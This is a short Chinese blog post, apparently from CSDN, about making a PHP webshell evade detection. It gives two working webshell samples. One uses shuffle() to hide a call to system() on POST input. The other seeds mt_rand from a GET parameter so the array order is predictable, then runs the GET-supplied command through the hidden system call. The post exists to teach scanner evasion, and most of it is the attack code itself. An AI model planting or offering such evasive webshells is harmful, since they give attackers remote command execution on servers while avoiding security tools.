记一次学习--webshell绕过(利用清洗函数)

目录

样本

样本修改


样本

php 复制代码
<?php
$a = array("t", "system");
shuffle($a);
$a[0]($_POST[1]);

通过 shuffle 函数打乱数组,然后通过$a[0]取出第一个元素,打乱后第一个元素可能是t也可能是system。然后再进行POST传参进行命令执行。

这里抓包可以正常执行

样本修改

对于shuffle函数来说,他的随机是伪随机,我们可以通过对其代码的分析然后预测数组中元素打乱的规律。对于sheuffle来说底层调用的是mt_rand来生成随机值,以次控制打乱的数组中的元素的顺序。然后对于mt_rand来说当他的种子定好他的随机值就不会发生改变了。

php 复制代码
<?php
$arr = array("t","a","s","system");
function shift(&$arr){
mt_srand($_GET[0]);
shuffle($arr);
}
shift($arr);
$arr[2]($_GET[1]);
相关推荐
安审若无4 分钟前
Windows系统常用的运维终端安全基线设置方法
运维·安全
Dyanic20 分钟前
AMSFusion:一种基于注意力机制的自适应多尺度红外与可见光图像融合网络
图像处理·人工智能·学习
少许极端28 分钟前
算法奇妙屋(四十三)-贪心算法学习之路10
学习·算法·贪心算法
TechWayfarer43 分钟前
反爬与反欺诈:如何利用IP定位API接口识别代理流量并降低风险
网络·tcp/ip·安全
南境十里·墨染春水1 小时前
Linux学习进展 进程管理命令 及文件压缩解压
linux·运维·笔记·学习
深圳市智易付科技有限责任公司1 小时前
Kubernetes中部署Dependency-Track 并对接 EAuth OIDC 认证
安全
航Hang*1 小时前
第2章:进阶Linux系统——第4节:配置与管理NFS服务器
linux·运维·服务器·笔记·学习·vmware
赵侃侃爱分享1 小时前
AI怎么定义网络安全
人工智能·安全·web安全
ZhiqianXia1 小时前
Pytorch 学习笔记(8): PyTorch FX
pytorch·笔记·学习
步步为营DotNet1 小时前
深度探索.NET Aspire在云原生应用性能与安全加固的创新实践
安全·云原生·.net